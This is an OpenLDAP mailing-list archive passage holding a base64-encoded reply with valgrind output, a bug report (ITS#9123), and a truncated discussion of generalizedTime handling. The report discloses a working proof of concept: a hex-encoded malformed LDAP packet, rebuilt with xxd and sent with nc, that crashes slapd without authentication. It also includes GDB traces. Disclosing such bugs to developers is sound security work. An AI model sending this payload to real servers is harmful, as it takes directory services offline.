YXNzZXJ0ICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjMyAgMHgwMDAwN2ZmZmY1Yjg4 MmJmIGluIHN5c21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzQgIDB4MDAw MDdmZmZmNWI4OTA3MiBpbiBfaW50X21hbGxvYyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYN Cj4gIzUgIDB4MDAwMDdmZmZmNWI4YWY1NSBpbiBjYWxsb2MgKCkgZnJvbSAvbGliNjQvbGli Yy5zby42DQo+ICM2ICAweDAwMDA3ZmZmZjViN2NlZDggaW4gb3Blbl9tZW1zdHJlYW0gKCkg ZnJvbSAvbGliNjQvbGliYy5zby42DQo+ICM3ICAweDAwMDA3ZmZmZjViZjk5ZDUgaW4gX192 c3lzbG9nX2ludGVybmFsICgpIGZyb20gL2xpYjY0L2xpYmMuc28uNg0KPiAjOCAgMHgwMDAw N2ZmZmY1YmY5ZjRhIGluIHN5c2xvZyAoKSBmcm9tIC9saWI2NC9saWJjLnNvLjYNCj4gIzkg IDB4MDAwMDAwMDAwMDRlZjNiNCBpbiBzbGFwX3Nhc2xfbG9nIChjb250ZXh0PTB4N2ZmZmY1 NGJmMTEwLA0KPiBwcmlvcml0eT08b3B0aW1pemVkIG91dD4sIA0KPiAgICAgbWVzc2FnZT0w eDdmZmZhODEwM2QzMCAiQ291bGRuJ3QgZmluZCBtZWNoDQo+IGFcMjAyXDAwM1wzMzZcMDYw XDIwMlwwMDMmIzE2OTY7XDAwM1wwMDJcMDAxXDAwNVwyNDFcMDI1XDAzM1wwMjNXMkszLlZN TkVUMS5WTS5CQVNFXDI0MkQwQlwyNDBcMDAzXDAwMlwwMDFcMDAyXDI0MTswOVwwMzNcMDA0 bGRhcFwwMzNcMDM0dzlcMzM1XDA2My0xMDEudzJrMy52bW5ldDEudm0uYmFzZVwwMzNcMDIz dzJrMy52bW5lXDI0MFwwMDNcMDAyXDAwMVwwMjdcMjQxXDAwM1wwMDJcMDAxXGJcMjQyXDIw MlwwMDNiXDAwNFwyMDJcMDAzXlwyNDJcMDY1XDI1MlwzNTNLXDIxNVwyNTUsXDMwMVwyNDZc MTc3VFwzMzNcMDAzXDAwM1JcMzE0XDA2NFwyMDZMXDIxNFwzNjNcMjY2Q1wyNDJcMzI3XDMy M1wwMjFcMDM2XG5cMzUzXDM0MFwzNTZcMzcxcTBcMjY0UGxcMjc3KFwyNjBcMDM0bCtcMjY0 XDIzMlwzNTVcMzU1XHRcMjcwZE5cMzAxRiYjMTE3MjtcdFwzMjdcMDMwXDA3MFwwMzB7XDAy M1pcMjQ3eSIuLi4pDQo+IGF0IHNhc2wuYzoxNDYNCj4gIzEwIDB4MDAwMDdmZmZmNjIwMzM0 NCBpbiBzYXNsX3NldGVycm9yICgpIGZyb20gL2xpYjY0L2xpYnNhc2wyLnNvLjMNCj4gIzEx IDB4MDAwMDdmZmZmNjIwMjMyNCBpbiBzYXNsX3NlcnZlcl9zdGFydCAoKSBmcm9tIC9saWI2 NC9saWJzYXNsMi5zby4zDQo+ICMxMiAweDAwMDAwMDAwMDA0ZjEwOTggaW4gc2xhcF9zYXNs X2JpbmQgKG9wPTxvcHRpbWl6ZWQgb3V0PiwgcnM9MHg3ZmZmYjRhYjg4YjApDQo+IGF0IHNh c2wuYzoxNTI0DQo+ICMxMyAweDAwMDAwMDAwMDA0OWZkMjggaW4gZmVfb3BfYmluZCAob3A9 MHg3ZmZmYTgwMDMxMjAsIHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjgwDQo+ ICMxNCAweDAwMDAwMDAwMDA0OWYzNTAgaW4gZG9fYmluZCAob3A9MHg3ZmZmYTgwMDMxMjAs IHJzPTB4N2ZmZmI0YWI4OGIwKSBhdA0KPiBiaW5kLmM6MjA1DQo+ICMxNSAweDAwMDAwMDAw MDA0NzJjYTggaW4gY29ubmVjdGlvbl9vcGVyYXRpb24gKGN0eD0weDdmZmZiNGFiODllOCwN Cj4gYXJnX3Y9MHg3ZmZmYTgwMDMxMjApIGF0IGNvbm5lY3Rpb24uYzoxMTU4DQo+ICMxNiAw eDAwMDAwMDAwMDA0NzEzMzIgaW4gY29ubmVjdGlvbl9yZWFkX3RocmVhZCAoY3R4PTB4N2Zm ZmI0YWI4OWU4LA0KPiBhcmd2PTxvcHRpbWl6ZWQgb3V0PikgYXQgY29ubmVjdGlvbi5jOjEy OTQNCj4gIzE3IDB4MDAwMDAwMDAwMDVmZWU3YSBpbiBsZGFwX2ludF90aHJlYWRfcG9vbF93 cmFwcGVyICh4cG9vbD0weGEwYjlmMTApIGF0DQo+IHRwb29sLmM6Njk2DQo+ICMxOCAweDAw MDA3ZmZmZjVlNDQ0ZTIgaW4gc3RhcnRfdGhyZWFkICgpIGZyb20gL2xpYjY0L2xpYnB0aHJl YWQuc28uMA0KPiAjMTkgMHgwMDAwN2ZmZmY1YmZmNjkzIGluIGNsb25lICgpIGZyb20gL2xp YjY0L2xpYmMuc28uNg0KPiANCj4gUGxlYXNlIGxldCBtZSBrbm93IHdoYXQgYWRkaXRpb25h bCBpbmZvcm1hdGlvbiBJIGNhbiBwcm92aWRlIHRvIHN1Y2Nlc3NmdWxseQ0KPiByZXByb2R1 Y2UgdGhlIGlzc3VlLg0KPiANCj4gTm90ZTogSSBoYXZlIGFsc28gdGVzdGVkIGFuZCByZXBy b2R1Y2VkIHRoZSBpc3N1ZSB1c2luZyB0aGUgcHJlY29tcGlsZWQgcGFja2FnZQ0KPiBmcm9t IHRoZSBGZWRvcmEgcmVwb3NpdG9yaWVzOiBvcGVubGRhcC1zZXJ2ZXJzLTIuNC40Ny0zLmZj MzEueDg2XzY0IChPcGVuTERBUDoNCj4gc2xhcGQgMi40LjQ3IChKdWwgMjUgMjAxOSAwMDow MDowMCkpDQoNClRoYW5rcywgYnV0IHlvdXIgdHJhY2UgY2xlYXJseSBzaG93cyB0aGF0IHRo aXMgaXMgYSBmYXVsdCBpbiBDeXJ1cyBTQVNMLCB5b3Ugc2hvdWxkIGJlIHJlcG9ydGluZw0K dGhpcyBpc3N1ZSB0byB0aGVtLg0KDQp2YWxncmluZCBjb25maXJtcyBpdCBhcyB3ZWxsOg0K DQo1ZGRmZGRkZSBkb19iaW5kOiBkbiAoKSBTQVNMIG1lY2ggYe+/ve+/vTDvv73aoO+/vTJL My5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEwMS53MmszLnZtbmV0 MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L77+977+9LO+/ve+/ vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73vv71xMO+/vVBs77+9 KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnvv70+Ncez77+9LO+/ vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73vv70n15Vn77+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+907/vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv70NCjVkZGZkZGRlID09PiBzYXNsX2JpbmQ6IGRuPSIiIG1lY2g9Ye+/ve+/ vTDvv73aoO+/vTJLMy5WTU5FVDEuVk0uQkFTRe+/vUQwQu+/ve+/vTswOWRhcDnvv70zLTEw MS53MmszLnZtbmV0MS52bS5iYXNlMmszLnZtbmXvv73vv73vv71i77+9Xu+/vTXvv73vv71L 77+977+9LO+/ve+/vVTvv71S77+9NO+/vUzvv73vv71D77+977+977+9DQrvv73vv73vv73v v71xMO+/vVBs77+9KO+/vWwr77+977+977+977+9Ce+/vWRO77+9RtKUCe+/vTh7Wu+/vXnv v70+Ncez77+9LO+/vQ0KDQpT77+9Ue+/ve+/vUvvv73JgO+/vVzRsO+/ve+/vTfvv73vv73v v70n15Vn77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+9 77+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+977+907/v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73v v73vv73vv73vv73vv73vv73vv73vv70NCmRhdGFsZW49MA0KPT0xMTAxOT09IFRocmVhZCAz Og0KPT0xMTAxOT09IEludmFsaWQgd3JpdGUgb2Ygc2l6ZSAxDQo9PTExMDE5PT0gICAgYXQg MHg0QjlCMURCOiBzYXNsX3NldGVycm9yIChzZXRlcnJvci5jOjI0NykNCj09MTEwMTk9PSAg ICBieSAweDRCOUExOEQ6IHNhc2xfc2VydmVyX3N0YXJ0IChzZXJ2ZXIuYzoxNDE4KQ0KPT0x MTAxOT09ICAgIGJ5IDB4MjZCODhCOiBzbGFwX3Nhc2xfYmluZCAoc2FzbC5jOjE2NjYpDQo9 PTExMDE5PT0gICAgYnkgMHgyMUUxMzA6IGZlX29wX2JpbmQgKGJpbmQuYzoyNzkpDQo9PTEx MDE5PT0gICAgYnkgMHgyMURDRTE6IGRvX2JpbmQgKGJpbmQuYzoyMDUpDQo9PTExMDE5PT0g ICAgYnkgMHgxRjM1QkE6IGNvbm5lY3Rpb25fb3BlcmF0aW9uIChjb25uZWN0aW9uLmM6MTE4 NSkNCj09MTEwMTk9PSAgICBieSAweDFGM0NFNzogY29ubmVjdGlvbl9yZWFkX3RocmVhZCAo Y29ubmVjdGlvbi5jOjEzNDIpDQo9PTExMDE5PT0gICAgYnkgMHgzNURGRjk6IGxkYXBfaW50 X3RocmVhZF9wb29sX3dyYXBwZXIgKHRwb29sLmM6MTA0OCkNCj09MTEwMTk9PSAgICBieSAw eDREQkU2Njg6IHN0YXJ0X3RocmVhZCAocHRocmVhZF9jcmVhdGUuYzo0NzkpDQo9PTExMDE5 PT0gICAgYnkgMHg0RUZBMzIyOiBjbG9uZSAoY2xvbmUuUzo5NSkNCj09MTEwMTk9PSAgQWRk cmVzcyAweDYyMDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFs bG9jJ2QNCj09MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGli L3g4Nl82NC1saW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxp bnV4LnNvKQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9u LmM6MjE4NikNCj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcg KGNvbW1vbi5jOjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJy b3IgKHNldGVycm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9z ZXJ2ZXJfc3RhcnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6 IHNsYXBfc2FzbF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEz MDogZmVfb3BfYmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTog ZG9fYmluZCAoYmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVj dGlvbl9vcGVyYXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4 MUYzQ0U3OiBjb25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09 MTEwMTk9PSAgICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAo dHBvb2wuYzoxMDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFk IChwdGhyZWFkX2NyZWF0ZS5jOjQ3OSkNCj09MTEwMTk9PQ0KPT0xMTAxOT09IEludmFsaWQg cmVhZCBvZiBzaXplIDENCj09MTEwMTk9PSAgICBhdCAweDQ4M0RGNTQ6IHN0cmxlbiAoaW4g L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS92YWxncmluZC92Z3ByZWxvYWRfbWVtY2hlY2st YW1kNjQtbGludXguc28pDQo9PTExMDE5PT0gICAgYnkgMHg0RTUzREU0OiBfX3ZmcHJpbnRm X2ludGVybmFsICh2ZnByaW50Zi1pbnRlcm5hbC5jOjE2ODgpDQo9PTExMDE5PT0gICAgYnkg MHg0RTY3MDI5OiBfX3ZzbnByaW50Zl9pbnRlcm5hbCAodnNucHJpbnRmLmM6MTE0KQ0KPT0x MTAxOT09ICAgIGJ5IDB4M0ExRkZBOiBsdXRpbF9kZWJ1ZyAoZGVidWcuYzo3NCkNCj09MTEw MTk9PSAgICBieSAweDI2NkZGMzogc2xhcF9zYXNsX2xvZyAoc2FzbC5jOjE0NikNCj09MTEw MTk9PSAgICBieSAweDRCOUI0Q0Y6IHNhc2xfc2V0ZXJyb3IgKHNldGVycm9yLmM6MjYwKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3RhcnQgKHNlcnZlci5j OjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2FzbF9iaW5kIChzYXNs LmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3BfYmluZCAoYmluZC5j OjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAoYmluZC5jOjIwNSkN Cj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVyYXRpb24gKGNvbm5l Y3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBjb25uZWN0aW9uX3Jl YWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAgQWRkcmVzcyAweDYy MDMyYTggaXMgMCBieXRlcyBhZnRlciBhIGJsb2NrIG9mIHNpemUgNjAwIGFsbG9jJ2QNCj09 MTEwMTk9PSAgICBhdCAweDQ4M0NGQUY6IHJlYWxsb2MgKGluIC91c3IvbGliL3g4Nl82NC1s aW51eC1nbnUvdmFsZ3JpbmQvdmdwcmVsb2FkX21lbWNoZWNrLWFtZDY0LWxpbnV4LnNvKQ0K PT0xMTAxOT09ICAgIGJ5IDB4NEI5MzBBNDogX2J1Zl9hbGxvYyAoY29tbW9uLmM6MjE4NikN Cj09MTEwMTk9PSAgICBieSAweDRCOTMyOTk6IF9zYXNsX2FkZF9zdHJpbmcgKGNvbW1vbi5j OjE5NikNCj09MTEwMTk9PSAgICBieSAweDRCOUIyRDQ6IHNhc2xfc2V0ZXJyb3IgKHNldGVy cm9yLmM6MTg3KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NEI5QTE4RDogc2FzbF9zZXJ2ZXJfc3Rh cnQgKHNlcnZlci5jOjE0MTgpDQo9PTExMDE5PT0gICAgYnkgMHgyNkI4OEI6IHNsYXBfc2Fz bF9iaW5kIChzYXNsLmM6MTY2NikNCj09MTEwMTk9PSAgICBieSAweDIxRTEzMDogZmVfb3Bf YmluZCAoYmluZC5jOjI3OSkNCj09MTEwMTk9PSAgICBieSAweDIxRENFMTogZG9fYmluZCAo YmluZC5jOjIwNSkNCj09MTEwMTk9PSAgICBieSAweDFGMzVCQTogY29ubmVjdGlvbl9vcGVy YXRpb24gKGNvbm5lY3Rpb24uYzoxMTg1KQ0KPT0xMTAxOT09ICAgIGJ5IDB4MUYzQ0U3OiBj b25uZWN0aW9uX3JlYWRfdGhyZWFkIChjb25uZWN0aW9uLmM6MTM0MikNCj09MTEwMTk9PSAg ICBieSAweDM1REZGOTogbGRhcF9pbnRfdGhyZWFkX3Bvb2xfd3JhcHBlciAodHBvb2wuYzox MDQ4KQ0KPT0xMTAxOT09ICAgIGJ5IDB4NERCRTY2ODogc3RhcnRfdGhyZWFkIChwdGhyZWFk X2NyZWF0ZS5jOjQ3OSkNCg0KDQoNCg0KLS0gDQogIC0tIEhvd2FyZCBDaHUNCiAgQ1RPLCBT eW1hcyBDb3JwLiAgICAgICAgICAgaHR0cDovL3d3dy5zeW1hcy5jb20NCiAgRGlyZWN0b3Is IEhpZ2hsYW5kIFN1biAgICAgaHR0cDovL2hpZ2hsYW5kc3VuLmNvbS9oeWMvDQogIENoaWVm IEFyY2hpdGVjdCwgT3BlbkxEQVAgIGh0dHA6Ly93d3cub3BlbmxkYXAub3JnL3Byb2plY3Qv DQo=

1 0

(ITS#9123) Unauthenticated remote denial-of-service
by stephan＠srlabs.de 28 Nov '19

28 Nov '19

Full_Name: Stephan Zeisberg Version: 2.4.48 OS: Fedora 31 (kernel 5.3.11-300.fc31.x86_64) URL: Submission from: (NULL) (78.54.65.139) Dear openldap team # Issue description Unauthenticated remote denial-of-service through malformed ldap packet # Version openldap-2.4.48.tgz # How to reproduce ## Compile $ tar xzvf openldap-2.4.48.tgz $ cd openldap-2.4.48 $ ./configure --prefix=/tmp/openldap $ make depend $ make $ make install $ cd /tmp/openldap ## Start server $ ./libexec/slapd -d 1 -h ldap://127.0.0.1:9091 ## Create PoC crash file $ echo -n "30840000054b020200d76084000005410201030400a38400000500a38203e2618203de308203daa003020105a1151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e766d6e6574312e766d2e626173651b1377326b332e766d6e65a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8cf3b643a2d7d3111e0aebe0eef97130b4506cbf28b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d79567bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfd0fbd3bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf00000000000000febfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821831e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ed151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e762d37343237323839373736333432303739363739766d6e6574312e766d2e62617365a382037430820370a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8c2d36313031373033343136323732353138393733b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d795679594064442bcb1ecb8639a7ef1825665683557bad4839e1a7b3cc5b76fc0ac093dcc62dd34116e7f202e38118c94c6ee468ae137aa6fce3070c081dd3941889887aac17b7b9fae6b1b432f97a905fe0765df558d738b2debc47b19b59b1c9b455cc29b88eb64620b8928714e76b310d36df7c1bfbda3fb4fbdc1fd4f34c901801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821931e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede1" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # GDB ... slapd: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fffb4aba700 (LWP 3684510)] 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: dnf debuginfo-install cyrus-sasl-gssapi-2.1.27-2.fc31.x86_64 cyrus-sasl-lib-2.1.27-2.fc31.x86_64 cyrus-sasl-plain-2.1.27-2.fc31.x86_64 keyutils-libs-1.6-3.fc31.x86_64 krb5-libs-1.17-45.fc31.x86_64 l ibcom_err-1.45.3-1.fc31.x86_64 libdb-5.3.28-38.fc31.x86_64 libgcc-9.2.1-1.fc31.x86_64 libicu-63.2-3.fc31.x86_64 libselinux-2.9-5.fc31.x86_64 libstdc++-9.2.1-1.fc31.x86_64 libuuid-2.34-3.fc31.x86_64 nss-mdns-0.14.1-4.fc31.x86_64 open ssl-libs-1.1.1d-2.fc31.x86_64 zlib-1.2.11-20.fc31.x86_64 (gdb) bt #0 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 #1 0x00007ffff5b238d9 in abort () from /lib64/libc.so.6 #2 0x00007ffff5b85a7a in __malloc_assert () from /lib64/libc.so.6 #3 0x00007ffff5b882bf in sysmalloc () from /lib64/libc.so.6 #4 0x00007ffff5b89072 in _int_malloc () from /lib64/libc.so.6 #5 0x00007ffff5b8af55 in calloc () from /lib64/libc.so.6 #6 0x00007ffff5b7ced8 in open_memstream () from /lib64/libc.so.6 #7 0x00007ffff5bf99d5 in __vsyslog_internal () from /lib64/libc.so.6 #8 0x00007ffff5bf9f4a in syslog () from /lib64/libc.so.6 #9 0x00000000004ef3b4 in slap_sasl_log (context=0x7ffff54bf110, priority=<optimized out>, message=0x7fffa8103d30 "Couldn't find mech a\202\003\336\060\202\003ڠ\003\002\001\005\241\025\033\023W2K3.VMNET1.VM.BASE\242D0B\240\003\002\001\002\241;09\033\004ldap\033\034w9\335\063-101.w2k3.vmnet1.vm.base\033\023w2k3.vmne\240\003\002\001\027\241\003\002\001\b\242\202\003b\004\202\003^\242\065\252\353K\215\255,\301\246\177T\333\003\003R\314\064\206L\214\363\266C\242\327\323\021\036\n\353\340\356\371q0\264Pl\277(\260\034l+\264\232\355\355\t\270dN\301FҔ\t\327\030\070\030{\023Z\247y"...) at sasl.c:146 #10 0x00007ffff6203344 in sasl_seterror () from /lib64/libsasl2.so.3 #11 0x00007ffff6202324 in sasl_server_start () from /lib64/libsasl2.so.3 #12 0x00000000004f1098 in slap_sasl_bind (op=<optimized out>, rs=0x7fffb4ab88b0) at sasl.c:1524 #13 0x000000000049fd28 in fe_op_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:280 #14 0x000000000049f350 in do_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:205 #15 0x0000000000472ca8 in connection_operation (ctx=0x7fffb4ab89e8, arg_v=0x7fffa8003120) at connection.c:1158 #16 0x0000000000471332 in connection_read_thread (ctx=0x7fffb4ab89e8, argv=<optimized out>) at connection.c:1294 #17 0x00000000005fee7a in ldap_int_thread_pool_wrapper (xpool=0xa0b9f10) at tpool.c:696 #18 0x00007ffff5e444e2 in start_thread () from /lib64/libpthread.so.0 #19 0x00007ffff5bff693 in clone () from /lib64/libc.so.6 Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

1 0

Re: (ITS#9120) Searches including generalizedTime attributes with index
by hyc＠symas.com 26 Nov '19

26 Nov '19

Howard Chu wrote: > markus.widmer(a)daasi.de wrote: >> We could reproduce this with 2.4.42, 2.4.44 and 2.4.48. We hope you can >> reproduce this as well to see what is happening here. > > Yes, can reproduce this. The function that converts a component-wise time > into a timet is referencing time since 1970. The date in 1956 would yield a > negative timet value but the fields are unsigned ints, so instead it's treated > as 17,000 years in the future. We can probably change this to handle signed > timestamps but need to consider this further. > I believe the best way forward would be to allow signed values, and also to switch our epoch reference from 1970-01-01 to 0000-01-01 (i.e., use Gregorian Proleptic calendar). Year zero would be 1 BCE in this calendar, and anything earlier would be a negative year. Changing these functions will require regenerating any indices. Looks like something we'll 